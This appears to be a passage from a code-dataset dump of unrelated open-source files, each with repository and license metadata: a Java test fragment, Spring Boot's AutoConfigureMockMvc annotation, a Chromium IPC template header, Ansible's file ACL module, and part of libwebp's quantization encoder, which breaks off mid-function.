IllegalAccessException */ public static class PrivateClass { private PrivateClass() { } } /** * This has a private constructor * -creating it will trigger an IllegalAccessException */ public static class PrivateConstructor { private PrivateConstructor() { } } }
apache-2.0
tiarebalbi/spring-boot
spring-boot-project/spring-boot-test-autoconfigure/src/main/java/org/springframework/boot/test/autoconfigure/web/servlet/AutoConfigureMockMvc.java
2989
/* * Copyright 2012-2019 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.boot.test.autoconfigure.web.servlet; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Inherited; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import com.gargoylesoftware.htmlunit.WebClient; import org.openqa.selenium.WebDriver; import org.springframework.boot.autoconfigure.ImportAutoConfiguration; import org.springframework.boot.test.autoconfigure.properties.PropertyMapping; import org.springframework.boot.test.autoconfigure.properties.SkipPropertyMapping; import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.MvcResult; /** * Annotation that can be applied to a test class to enable and configure * auto-configuration of {@link MockMvc}. * * @author Phillip Webb * @since 1.4.0 * @see MockMvcAutoConfiguration * @see SpringBootMockMvcBuilderCustomizer */ @Target({ ElementType.TYPE, ElementType.METHOD }) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @ImportAutoConfiguration @PropertyMapping("spring.test.mockmvc") public @interface AutoConfigureMockMvc { /** * If filters from the application context should be registered with MockMVC. Defaults * to {@code true}. * @return if filters should be added */ boolean addFilters() default true; /** * How {@link MvcResult} information should be printed after each MockMVC invocation. * @return how information is printed */ @PropertyMapping(skip = SkipPropertyMapping.ON_DEFAULT_VALUE) MockMvcPrint print() default MockMvcPrint.DEFAULT; /** * If {@link MvcResult} information should be printed only if the test fails. * @return {@code true} if printing only occurs on failure */ boolean printOnlyOnFailure() default true; /** * If a {@link WebClient} should be auto-configured when HtmlUnit is on the classpath. * Defaults to {@code true}. * @return if a {@link WebClient} is auto-configured */ @PropertyMapping("webclient.enabled") boolean webClientEnabled() default true; /** * If a {@link WebDriver} should be auto-configured when Selenium is on the classpath. * Defaults to {@code true}. * @return if a {@link WebDriver} is auto-configured */ @PropertyMapping("webdriver.enabled") boolean webDriverEnabled() default true; }
apache-2.0
ssaroha/node-webrtc
third_party/webrtc/include/chromium/src/ipc/ipc_message_templates_impl.h
3362
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IPC_IPC_MESSAGE_TEMPLATES_IMPL_H_ #define IPC_IPC_MESSAGE_TEMPLATES_IMPL_H_ #include <tuple> namespace IPC { template <typename... Ts> class ParamDeserializer : public MessageReplyDeserializer { public: explicit ParamDeserializer(const std::tuple<Ts&...>& out) : out_(out) {} bool SerializeOutputParameters(const IPC::Message& msg, base::PickleIterator iter) override { return ReadParam(&msg, &iter, &out_); } std::tuple<Ts&...> out_; }; template <typename Meta, typename... Ins> MessageT<Meta, std::tuple<Ins...>, void>::MessageT(Routing routing, const Ins&... ins) : Message(routing.id, ID, PRIORITY_NORMAL) { WriteParam(this, std::tie(ins...)); } template <typename Meta, typename... Ins> bool MessageT<Meta, std::tuple<Ins...>, void>::Read(const Message* msg, Param* p) { base::PickleIterator iter(*msg); return ReadParam(msg, &iter, p); } template <typename Meta, typename... Ins> void MessageT<Meta, std::tuple<Ins...>, void>::Log(std::string* name, const Message* msg, std::string* l) { if (name) *name = Meta::kName; if (!msg || !l) return; Param p; if (Read(msg, &p)) LogParam(p, l); } template <typename Meta, typename... Ins, typename... Outs> MessageT<Meta, std::tuple<Ins...>, std::tuple<Outs...>>::MessageT( Routing routing, const Ins&... ins, Outs*... outs) : SyncMessage( routing.id, ID, PRIORITY_NORMAL, new ParamDeserializer<Outs...>(std::tie(*outs...))) { WriteParam(this, std::tie(ins...)); } template <typename Meta, typename... Ins, typename... Outs> bool MessageT<Meta, std::tuple<Ins...>, std::tuple<Outs...>>::ReadSendParam( const Message* msg, SendParam* p) { base::PickleIterator iter = SyncMessage::GetDataIterator(msg); return ReadParam(msg, &iter, p); } template <typename Meta, typename... Ins, typename... Outs> bool MessageT<Meta, std::tuple<Ins...>, std::tuple<Outs...>>::ReadReplyParam( const Message* msg, ReplyParam* p) { base::PickleIterator iter = SyncMessage::GetDataIterator(msg); return ReadParam(msg, &iter, p); } template <typename Meta, typename... Ins, typename... Outs> void MessageT<Meta, std::tuple<Ins...>, std::tuple<Outs...>>::WriteReplyParams(Message* reply, const Outs&... outs) { WriteParam(reply, std::tie(outs...)); } template <typename Meta, typename... Ins, typename... Outs> void MessageT<Meta, std::tuple<Ins...>, std::tuple<Outs...>>::Log( std::string* name, const Message* msg, std::string* l) { if (name) *name = Meta::kName; if (!msg || !l) return; if (msg->is_sync()) { SendParam p; if (ReadSendParam(msg, &p)) LogParam(p, l); AddOutputParamsToLog(msg, l); } else { ReplyParam p; if (ReadReplyParam(msg, &p)) LogParam(p, l); } } } // namespace IPC #endif // IPC_IPC_MESSAGE_TEMPLATES_IMPL_H_
bsd-2-clause
e-gob/plataforma-kioscos-autoatencion
scripts/ansible-play/.venv/lib/python2.7/site-packages/ansible/modules/files/acl.py
11261
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2017, Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['stableinterface'], 'supported_by': 'core'} DOCUMENTATION = ''' --- module: acl version_added: "1.4" short_description: Sets and retrieves file ACL information. description: - Sets and retrieves file ACL information. options: path: required: true default: null description: - The full path of the file or object. aliases: ['name'] state: required: false default: query choices: [ 'query', 'present', 'absent' ] description: - defines whether the ACL should be present or not. The C(query) state gets the current acl without changing it, for use in 'register' operations. follow: required: false default: yes choices: [ 'yes', 'no' ] description: - whether to follow symlinks on the path if a symlink is encountered. default: version_added: "1.5" required: false default: no choices: [ 'yes', 'no' ] description: - if the target is a directory, setting this to yes will make it the default acl for entities created inside the directory. It causes an error if path is a file. entity: version_added: "1.5" required: false description: - actual user or group that the ACL applies to when matching entity types user or group are selected. etype: version_added: "1.5" required: false default: null choices: [ 'user', 'group', 'mask', 'other' ] description: - the entity type of the ACL to apply, see setfacl documentation for more info. permissions: version_added: "1.5" required: false default: null description: - Permissions to apply/remove can be any combination of r, w and x (read, write and execute respectively) entry: required: false default: null description: - DEPRECATED. The acl to set or remove. This must always be quoted in the form of '<etype>:<qualifier>:<perms>'. The qualifier may be empty for some types, but the type and perms are always required. '-' can be used as placeholder when you do not care about permissions. This is now superseded by entity, type and permissions fields. recursive: version_added: "2.0" required: false default: no choices: [ 'yes', 'no' ] description: - Recursively sets the specified ACL (added in Ansible 2.0). Incompatible with C(state=query). author: - "Brian Coca (@bcoca)" - "Jérémie Astori (@astorije)" notes: - The "acl" module requires that acls are enabled on the target filesystem and that the setfacl and getfacl binaries are installed. - As of Ansible 2.0, this module only supports Linux distributions. - As of Ansible 2.3, the I(name) option has been changed to I(path) as default, but I(name) still works as well. ''' EXAMPLES = ''' # Grant user Joe read access to a file - acl: path: /etc/foo.conf entity: joe etype: user permissions: r state: present # Removes the acl for Joe on a specific file - acl: path: /etc/foo.conf entity: joe etype: user state: absent # Sets default acl for joe on foo.d - acl: path: /etc/foo.d entity: joe etype: user permissions: rw default: yes state: present # Same as previous but using entry shorthand - acl: path: /etc/foo.d entry: "default:user:joe:rw-" state: present # Obtain the acl for a specific file - acl: path: /etc/foo.conf register: acl_info ''' RETURN = ''' acl: description: Current acl on provided path (after changes, if any) returned: success type: list sample: [ "user::rwx", "group::rwx", "other::rwx" ] ''' import os from ansible.module_utils.basic import AnsibleModule, get_platform from ansible.module_utils.pycompat24 import get_exception def split_entry(entry): ''' splits entry and ensures normalized return''' a = entry.split(':') d = None if entry.lower().startswith("d"): d = True a.pop(0) if len(a) == 2: a.append(None) t, e, p = a t = t.lower() if t.startswith("u"): t = "user" elif t.startswith("g"): t = "group" elif t.startswith("m"): t = "mask" elif t.startswith("o"): t = "other" else: t = None return [d, t, e, p] def build_entry(etype, entity, permissions=None, use_nfsv4_acls=False): '''Builds and returns an entry string. Does not include the permissions bit if they are not provided.''' if use_nfsv4_acls: return ':'.join([etype, entity, permissions, 'allow']) if permissions: return etype + ':' + entity + ':' + permissions else: return etype + ':' + entity def build_command(module, mode, path, follow, default, recursive, entry=''): '''Builds and returns a getfacl/setfacl command.''' if mode == 'set': cmd = [module.get_bin_path('setfacl', True)] cmd.append('-m "%s"' % entry) elif mode == 'rm': cmd = [module.get_bin_path('setfacl', True)] cmd.append('-x "%s"' % entry) else: # mode == 'get' cmd = [module.get_bin_path('getfacl', True)] # prevents absolute path warnings and removes headers if get_platform().lower() == 'linux': cmd.append('--omit-header') cmd.append('--absolute-names') if recursive: cmd.append('--recursive') if not follow: if get_platform().lower() == 'linux': cmd.append('--physical') elif get_platform().lower() == 'freebsd': cmd.append('-h') if default: if mode == 'rm': cmd.insert(1, '-k') else: # mode == 'set' or mode == 'get' cmd.insert(1, '-d') cmd.append(path) return cmd def acl_changed(module, cmd): '''Returns true if the provided command affects the existing ACLs, false otherwise.''' # FreeBSD do not have a --test flag, so by default, it is safer to always say "true" if get_platform().lower() == 'freebsd': return True cmd = cmd[:] # lists are mutables so cmd would be overwritten without this cmd.insert(1, '--test') lines = run_acl(module, cmd) for line in lines: if not line.endswith('*,*'): return True return False def run_acl(module, cmd, check_rc=True): try: (rc, out, err) = module.run_command(' '.join(cmd), check_rc=check_rc) except Exception: e = get_exception() module.fail_json(msg=e.strerror) lines = [] for l in out.splitlines(): if not l.startswith('#'): lines.append(l.strip()) if lines and not lines[-1].split(): # trim last line only when it is empty return lines[:-1] else: return lines def main(): module = AnsibleModule( argument_spec=dict( path=dict(required=True, aliases=['name'], type='path'), entry=dict(required=False, type='str'), entity=dict(required=False, type='str', default=''), etype=dict( required=False, choices=['other', 'user', 'group', 'mask'], type='str' ), permissions=dict(required=False, type='str'), state=dict( required=False, default='query', choices=['query', 'present', 'absent'], type='str' ), follow=dict(required=False, type='bool', default=True), default=dict(required=False, type='bool', default=False), recursive=dict(required=False, type='bool', default=False), use_nfsv4_acls=dict(required=False, type='bool', default=False) ), supports_check_mode=True, ) if get_platform().lower() not in ['linux', 'freebsd']: module.fail_json(msg="The acl module is not available on this system.") path = module.params.get('path') entry = module.params.get('entry') entity = module.params.get('entity') etype = module.params.get('etype') permissions = module.params.get('permissions') state = module.params.get('state') follow = module.params.get('follow') default = module.params.get('default') recursive = module.params.get('recursive') use_nfsv4_acls = module.params.get('use_nfsv4_acls') if not os.path.exists(path): module.fail_json(msg="Path not found or not accessible.") if state == 'query' and recursive: module.fail_json(msg="'recursive' MUST NOT be set when 'state=query'.") if not entry: if state == 'absent' and permissions: module.fail_json(msg="'permissions' MUST NOT be set when 'state=absent'.") if state == 'absent' and not entity: module.fail_json(msg="'entity' MUST be set when 'state=absent'.") if state in ['present', 'absent'] and not etype: module.fail_json(msg="'etype' MUST be set when 'state=%s'." % state) if entry: if etype or entity or permissions: module.fail_json(msg="'entry' MUST NOT be set when 'entity', 'etype' or 'permissions' are set.") if state == 'present' and not entry.count(":") in [2, 3]: module.fail_json(msg="'entry' MUST have 3 or 4 sections divided by ':' when 'state=present'.") if state == 'absent' and not entry.count(":") in [1, 2]: module.fail_json(msg="'entry' MUST have 2 or 3 sections divided by ':' when 'state=absent'.") if state == 'query': module.fail_json(msg="'entry' MUST NOT be set when 'state=query'.") default_flag, etype, entity, permissions = split_entry(entry) if default_flag is not None: default = default_flag if get_platform().lower() == 'freebsd': if recursive: module.fail_json(msg="recursive is not supported on that platform.") changed = False msg = "" if state == 'present': entry = build_entry(etype, entity, permissions, use_nfsv4_acls) command = build_command( module, 'set', path, follow, default, recursive, entry ) changed = acl_changed(module, command) if changed and not module.check_mode: run_acl(module, command) msg = "%s is present" % entry elif state == 'absent': entry = build_entry(etype, entity, use_nfsv4_acls) command = build_command( module, 'rm', path, follow, default, recursive, entry ) changed = acl_changed(module, command) if changed and not module.check_mode: run_acl(module, command, False) msg = "%s is absent" % entry elif state == 'query': msg = "current acl" acl = run_acl( module, build_command(module, 'get', path, follow, default, recursive) ) module.exit_json(changed=changed, msg=msg, acl=acl) if __name__ == '__main__': main()
bsd-3-clause
redengineer/libwebp
src/enc/quant.c
41693
// Copyright 2011 Google Inc. All Rights Reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the COPYING file in the root of the source // tree. An additional intellectual property rights grant can be found // in the file PATENTS. All contributing project authors may // be found in the AUTHORS file in the root of the source tree. // ----------------------------------------------------------------------------- // // Quantization // // Author: Skal ([email protected]) #include <assert.h> #include <math.h> #include <stdlib.h> // for abs() #include "./vp8enci.h" #include "./cost.h" #define DO_TRELLIS_I4 1 #define DO_TRELLIS_I16 1 // not a huge gain, but ok at low bitrate. #define DO_TRELLIS_UV 0 // disable trellis for UV. Risky. Not worth. #define USE_TDISTO 1 #define MID_ALPHA 64 // neutral value for susceptibility #define MIN_ALPHA 30 // lowest usable value for susceptibility #define MAX_ALPHA 100 // higher meaningful value for susceptibility #define SNS_TO_DQ 0.9 // Scaling constant between the sns value and the QP // power-law modulation. Must be strictly less than 1. #define I4_PENALTY 4000 // Rate-penalty for quick i4/i16 decision // number of non-zero coeffs below which we consider the block very flat // (and apply a penalty to complex predictions) #define FLATNESS_LIMIT_I16 10 // I16 mode #define FLATNESS_LIMIT_I4 3 // I4 mode #define FLATNESS_LIMIT_UV 2 // UV mode #define FLATNESS_PENALTY 140 // roughly ~1bit per block #define MULT_8B(a, b) (((a) * (b) + 128) >> 8) // #define DEBUG_BLOCK //------------------------------------------------------------------------------ #if defined(DEBUG_BLOCK) #include <stdio.h> #include <stdlib.h> static void PrintBlockInfo(const VP8EncIterator* const it, const VP8ModeScore* const rd) { int i, j; const int is_i16 = (it->mb_->type_ == 1); printf("SOURCE / OUTPUT / ABS DELTA\n"); for (j = 0; j < 24; ++j) { if (j == 16) printf("\n"); // newline before the U/V block for (i = 0; i < 16; ++i) printf("%3d ", it->yuv_in_[i + j * BPS]); printf(" "); for (i = 0; i < 16; ++i) printf("%3d ", it->yuv_out_[i + j * BPS]); printf(" "); for (i = 0; i < 16; ++i) { printf("%1d ", abs(it->yuv_out_[i + j * BPS] - it->yuv_in_[i + j * BPS])); } printf("\n"); } printf("\nD:%d SD:%d R:%d H:%d nz:0x%x score:%d\n", (int)rd->D, (int)rd->SD, (int)rd->R, (int)rd->H, (int)rd->nz, (int)rd->score); if (is_i16) { printf("Mode: %d\n", rd->mode_i16); printf("y_dc_levels:"); for (i = 0; i < 16; ++i) printf("%3d ", rd->y_dc_levels[i]); printf("\n"); } else { printf("Modes[16]: "); for (i = 0; i < 16; ++i) printf("%d ", rd->modes_i4[i]); printf("\n"); } printf("y_ac_levels:\n"); for (j = 0; j < 16; ++j) { for (i = is_i16 ? 1 : 0; i < 16; ++i) { printf("%4d ", rd->y_ac_levels[j][i]); } printf("\n"); } printf("\n"); printf("uv_levels (mode=%d):\n", rd->mode_uv); for (j = 0; j < 8; ++j) { for (i = 0; i < 16; ++i) { printf("%4d ", rd->uv_levels[j][i]); } printf("\n"); } } #endif // DEBUG_BLOCK //------------------------------------------------------------------------------ static WEBP_INLINE int clip(int v, int m, int M) { return v < m ? m : v > M ? M : v; } static const uint8_t kZigzag[16] = { 0, 1, 4, 8, 5, 2, 3, 6, 9, 12, 13, 10, 7, 11, 14, 15 }; static const uint8_t kDcTable[128] = { 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 25, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 91, 93, 95, 96, 98, 100, 101, 102, 104, 106, 108, 110, 112, 114, 116, 118, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 143, 145, 148, 151, 154, 157 }; static const uint16_t kAcTable[128] = { 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 119, 122, 125, 128, 131, 134, 137, 140, 143, 146, 149, 152, 155, 158, 161, 164, 167, 170, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 234, 239, 245, 249, 254, 259, 264, 269, 274, 279, 284 }; static const uint16_t kAcTable2[128] = { 8, 8, 9, 10, 12, 13, 15, 17, 18, 20, 21, 23, 24, 26, 27, 29, 31, 32, 34, 35, 37, 38, 40, 41, 43, 44, 46, 48, 49, 51, 52, 54, 55, 57, 58, 60, 62, 63, 65, 66, 68, 69, 71, 72, 74, 75, 77, 79, 80, 82, 83, 85, 86, 88, 89, 93, 96, 99, 102, 105, 108, 111, 114, 117, 120, 124, 127, 130, 133, 136, 139, 142, 145, 148, 151, 155, 158, 161, 164, 167, 170, 173, 176, 179, 184, 189, 193, 198, 203, 207, 212, 217, 221, 226, 230, 235, 240, 244, 249, 254, 258, 263, 268, 274, 280, 286, 292, 299, 305, 311, 317, 323, 330, 336, 342, 348, 354, 362, 370, 379, 385, 393, 401, 409, 416, 424, 432, 440 }; static const uint8_t kBiasMatrices[3][2] = { // [luma-ac,luma-dc,chroma][dc,ac] { 96, 110 }, { 96, 108 }, { 110, 115 } }; // Sharpening by (slightly) raising the hi-frequency coeffs. // Hack-ish but helpful for mid-bitrate range. Use with care. #define SHARPEN_BITS 11 // number of descaling bits for sharpening bias static const uint8_t kFreqSharpening[16] = { 0, 30, 60, 90, 30, 60, 90, 90, 60, 90, 90, 90, 90, 90, 90, 90 }; //------------------------------------------------------------------------------ // Initialize quantization parameters in VP8Matrix // Returns the average quantizer static int ExpandMatrix(VP8Matrix* const m, int type) { int i, sum; for (i = 0; i < 2; ++i) { const int is_ac_coeff = (i > 0); const int bias = kBiasMatrices[type][is_ac_coeff]; m->iq_[i] = (1 << QFIX) / m->q_[i]; m->bias_[i] = BIAS(bias); // zthresh_ is the exact value such that QUANTDIV(coeff, iQ, B) is: // * zero if coeff <= zthresh // * non-zero if coeff > zthresh m->zthresh_[i] = ((1 << QFIX) - 1 - m->bias_[i]) / m->iq_[i]; } for (i = 2; i < 16; ++i) { m->q_[i] = m->q_[1]; m->iq_[i] = m->iq_[1]; m->bias_[i] = m->bias_[1]; m->zthresh_[i] = m->zthresh_[1]; } for (sum = 0, i = 0; i < 16; ++i) { if (type == 0) { // we only use sharpening for AC luma coeffs m->sharpen_[i] = (kFreqSharpening[i] * m->q_[i]) >> SHARPEN_BITS; } else { m->sharpen_[i] = 0; } sum += m->q_[i]; } return (sum + 8) >> 4; } static void SetupMatrices(VP8Encoder* enc) { int i; const int tlambda_scale = (enc->method_ >= 4) ? enc->config_->sns_strength : 0; const int num_segments = enc->segment_hdr_.num_segments_; for (i = 0; i < num_segments; ++i) { VP8SegmentInfo* const m = &enc->dqm_[i]; const int q = m->quant_; int q4, q16, quv; m->y1_.q_[0] = kDcTable[clip(q + enc->dq_y1_dc_, 0, 127)]; m->y1_.q_[1] = kAcTable[clip(q, 0, 127)]; m->y2_.q_[0] = kDcTable[ clip(q + enc->dq_y2_dc_, 0, 127)] * 2; m->y2_.q_[1] = kAcTable2[clip(q + enc->dq_y2_ac_, 0, 127)]; m->uv_.q_[0] = kDcTable[clip(q + enc->dq_uv_dc_, 0, 117)]; m->uv_.q_[1] = kAcTable[clip(q + enc->dq_uv_ac_, 0, 127)]; q4 = ExpandMatrix(&m->y1_, 0); q16 = ExpandMatrix(&m->y2_, 1); quv = ExpandMatrix(&m->uv_, 2); m->lambda_i4_ = (3 * q4 * q4) >> 7; m->lambda_i16_ = (3 * q16 * q16); m->lambda_uv_ = (3 * quv * quv) >> 6; m->lambda_mode_ = (1 * q4 * q4) >> 7; m->lambda_trellis_i4_ = (7 * q4 * q4) >> 3; m->lambda_trellis_i16_ = (q16 * q16) >> 2; m->lambda_trellis_uv_ = (quv *quv) << 1; m->tlambda_ = (tlambda_scale * q4) >> 5; m->min_disto_ = 10 * m->y1_.q_[0]; // quantization-aware min disto m->max_edge_ = 0; } } //------------------------------------------------------------------------------ // Initialize filtering parameters // Very small filter-strength values have close to no visual effect. So we can // save a little decoding-CPU by turning filtering off for these. #define FSTRENGTH_CUTOFF 2 static void SetupFilterStrength(VP8Encoder* const enc) { int i; // level0 is in [0..500]. Using '-f 50' as filter_strength is mid-filtering. const int level0 = 5 * enc->config_->filter_strength; for (i = 0; i < NUM_MB_SEGMENTS; ++i) { VP8SegmentInfo* const m = &enc->dqm_[i]; // We focus on the quantization of AC coeffs. const int qstep = kAcTable[clip(m->quant_, 0, 127)] >> 2; const int base_strength = VP8FilterStrengthFromDelta(enc->filter_hdr_.sharpness_, qstep); // Segments with lower complexity ('beta') will be less filtered. const int f = base_strength * level0 / (256 + m->beta_); m->fstrength_ = (f < FSTRENGTH_CUTOFF) ? 0 : (f > 63) ? 63 : f; } // We record the initial strength (mainly for the case of 1-segment only). enc->filter_hdr_.level_ = enc->dqm_[0].fstrength_; enc->filter_hdr_.simple_ = (enc->config_->filter_type == 0); enc->filter_hdr_.sharpness_ = enc->config_->filter_sharpness; } //------------------------------------------------------------------------------ // Note: if you change the values below, remember that the max range // allowed by the syntax for DQ_UV is [-16,16]. #define MAX_DQ_UV (6) #define MIN_DQ_UV (-4) // We want to emulate jpeg-like behaviour where the expected "good" quality // is around q=75. Internally, our "good" middle is around c=50. So we // map accordingly using linear piece-wise function static double QualityToCompression(double c) { const double linear_c = (c < 0.75) ? c * (2. / 3.) : 2. * c - 1.; // The file size roughly scales as pow(quantizer, 3.). Actually, the // exponent is somewhere between 2.8 and 3.2, but we're mostly interested // in the mid-quant range. So we scale the compressibility inversely to // this power-law: quant ~= compression ^ 1/3. This law holds well for // low quant. Finer modeling for high-quant would make use of kAcTable[] // more explicitly. const double v = pow(linear_c, 1 / 3.); return v; } static double QualityToJPEGCompression(double c, double alpha) { // We map the complexity 'alpha' and quality setting 'c' to a compression // exponent empirically matched to the compression curve of libjpeg6b. // On average, the WebP output size will be roughly similar to that of a // JPEG file compressed with same quality factor. const double amin = 0.30; const double amax = 0.85; const double exp_min = 0.4; const double exp_max = 0.9; const double slope = (exp_min - exp_max) / (amax - amin); // Linearly interpolate 'expn' from exp_min to exp_max // in the [amin, amax] range. const double expn = (alpha > amax) ? exp_min : (alpha < amin) ? exp_max : exp_max + slope * (alpha - amin); const double v = pow(c, expn); return v; } static int SegmentsAreEquivalent(const VP8SegmentInfo* const S1, const VP8SegmentInfo* const S2) { return (S1->quant_ == S2->quant_) && (S1->fstrength_ == S2->fstrength_); } static void SimplifySegments(VP8Encoder* const enc) { int map[NUM_MB_SEGMENTS] = { 0, 1, 2, 3 }; const int num_segments = enc->segment_hdr_.num_segments_; int num_final_segments = 1; int s1, s2; for (s1 = 1; s1 < num_segments; ++s1) { // find similar segments const VP8SegmentInfo* const S1 = &enc->dqm_[s1]; int found = 0; // check if we already have similar segment for (s2 = 0; s2 < num_final_segments; ++s2) { const VP8SegmentInfo* const S2 = &enc->dqm_[s2]; if (SegmentsAreEquivalent(S1, S2)) { found = 1; break; } } map[s1] = s2; if (!found) { if (num_final_segments != s1) { enc->dqm_[num_final_segments] = enc->dqm_[s1]; } ++num_final_segments; } } if (num_final_segments < num_segments) { // Remap int i = enc->mb_w_ * enc->mb_h_; while (i-- > 0) enc->mb_info_[i].segment_ = map[enc->mb_info_[i].segment_]; enc->segment_hdr_.num_segments_ = num_final_segments; // Replicate the trailing segment infos (it's mostly cosmetics) for (i = num_final_segments; i < num_segments; ++i) { enc->dqm_[i] = enc->dqm_[num_final_segments - 1]; } } } void VP8SetSegmentParams(VP8Encoder* const enc, float quality) { int i; int dq_uv_ac, dq_uv_dc; const int num_segments = enc->segment_hdr_.num_segments_; const double amp = SNS_TO_DQ * enc->config_->sns_strength / 100. / 128.; const double Q = quality / 100.; const double c_base = enc->config_->emulate_jpeg_size ? QualityToJPEGCompression(Q, enc->alpha_ / 255.) : QualityToCompression(Q); for (i = 0; i < num_segments; ++i) { // We modulate the base coefficient to accommodate for the quantization // susceptibility and allow denser segments to be quantized more. const double expn = 1. - amp * enc->dqm_[i].alpha_; const double c = pow(c_base, expn); const int q = (int)(127. * (1. - c)); assert(expn > 0.); enc->dqm_[i].quant_ = clip(q, 0, 127); } // purely indicative in the bitstream (except for the 1-segment case) enc->base_quant_ = enc->dqm_[0].quant_; // fill-in values for the unused segments (required by the syntax) for (i = num_segments; i < NUM_MB_SEGMENTS; ++i) { enc->dqm_[i].quant_ = enc->base_quant_; } // uv_alpha_ is normally spread around ~60. The useful range is // typically ~30 (quite bad) to ~100 (ok to decimate UV more). // We map it to the safe maximal range of MAX/MIN_DQ_UV for dq_uv. dq_uv_ac = (enc->uv_alpha_ - MID_ALPHA) * (MAX_DQ_UV - MIN_DQ_UV) / (MAX_ALPHA - MIN_ALPHA); // we rescale by the user-defined strength of adaptation dq_uv_ac = dq_uv_ac * enc->config_->sns_strength / 100; // and make it safe. dq_uv_ac = clip(dq_uv_ac, MIN_DQ_UV, MAX_DQ_UV); // We also boost the dc-uv-quant a little, based on sns-strength, since // U/V channels are quite more reactive to high quants (flat DC-blocks // tend to appear, and are unpleasant). dq_uv_dc = -4 * enc->config_->sns_strength / 100; dq_uv_dc = clip(dq_uv_dc, -15, 15); // 4bit-signed max allowed enc->dq_y1_dc_ = 0; // TODO(skal): dq-lum enc->dq_y2_dc_ = 0; enc->dq_y2_ac_ = 0; enc->dq_uv_dc_ = dq_uv_dc; enc->dq_uv_ac_ = dq_uv_ac; SetupFilterStrength(enc); // initialize segments' filtering, eventually if (num_segments > 1) SimplifySegments(enc); SetupMatrices(enc); // finalize quantization matrices } //------------------------------------------------------------------------------ // Form the predictions in cache // Must be ordered using {DC_PRED, TM_PRED, V_PRED, H_PRED} as index const int VP8I16ModeOffsets[4] = { I16DC16, I16TM16, I16VE16, I16HE16 }; const int VP8UVModeOffsets[4] = { C8DC8, C8TM8, C8VE8, C8HE8 }; // Must be indexed using {B_DC_PRED -> B_HU_PRED} as index const int VP8I4ModeOffsets[NUM_BMODES] = { I4DC4, I4TM4, I4VE4, I4HE4, I4RD4, I4VR4, I4LD4, I4VL4, I4HD4, I4HU4 }; void VP8MakeLuma16Preds(const VP8EncIterator* const it) { const uint8_t* const left = it->x_ ? it->y_left_ : NULL; const uint8_t* const top = it->y_ ? it->y_top_ : NULL; VP8EncPredLuma16(it->yuv_p_, left, top); } void VP8MakeChroma8Preds(const VP8EncIterator* const it) { const uint8_t* const left = it->x_ ? it->u_left_ : NULL; const uint8_t* const top = it->y_ ? it->uv_top_ : NULL; VP8EncPredChroma8(it->yuv_p_, left, top); } void VP8MakeIntra4Preds(const VP8EncIterator* const it) { VP8EncPredLuma4(it->yuv_p_, it->i4_top_); } //------------------------------------------------------------------------------ // Quantize // Layout: // +----+----+ // |YYYY|UUVV| 0 // |YYYY|UUVV| 4 // |YYYY|....| 8 // |YYYY|....| 12 // +----+----+ const int VP8Scan[16] = { // Luma 0 + 0 * BPS, 4 + 0 * BPS, 8 + 0 * BPS, 12 + 0 * BPS, 0 + 4 * BPS, 4 + 4 * BPS, 8 + 4 * BPS, 12 + 4 * BPS, 0 + 8 * BPS, 4 + 8 * BPS, 8 + 8 * BPS, 12 + 8 * BPS, 0 + 12 * BPS, 4 + 12 * BPS, 8 + 12 * BPS, 12 + 12 * BPS, }; static const int VP8ScanUV[4 + 4] = { 0 + 0 * BPS, 4 + 0 * BPS, 0 + 4 * BPS, 4 + 4 * BPS, // U 8 + 0 * BPS, 12 + 0 * BPS, 8 + 4 * BPS, 12 + 4 * BPS // V }; //------------------------------------------------------------------------------ // Distortion measurement static const uint16_t kWeightY[16] = { 38, 32, 20, 9, 32, 28, 17, 7, 20, 17, 10, 4, 9, 7, 4, 2 }; static const uint16_t kWeightTrellis[16] = { #if USE_TDISTO == 0 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16 #else 30, 27, 19, 11, 27, 24, 17, 10, 19, 17, 12, 8, 11, 10, 8, 6 #endif }; // Init/Copy the common fields in score. static void InitScore(VP8ModeScore* const rd) { rd->D = 0; rd->SD = 0; rd->R = 0; rd->H = 0; rd->nz = 0; rd->score = MAX_COST; } static void CopyScore(VP8ModeScore* const dst, const VP8ModeScore* const src) { dst->D = src->D; dst->SD = src->SD; dst->R = src->R; dst->H = src->H; dst->nz = src->nz; // note that nz is not accumulated, but just copied. dst->score = src->score; } static void AddScore(VP8ModeScore* const dst, const VP8ModeScore* const src) { dst->D 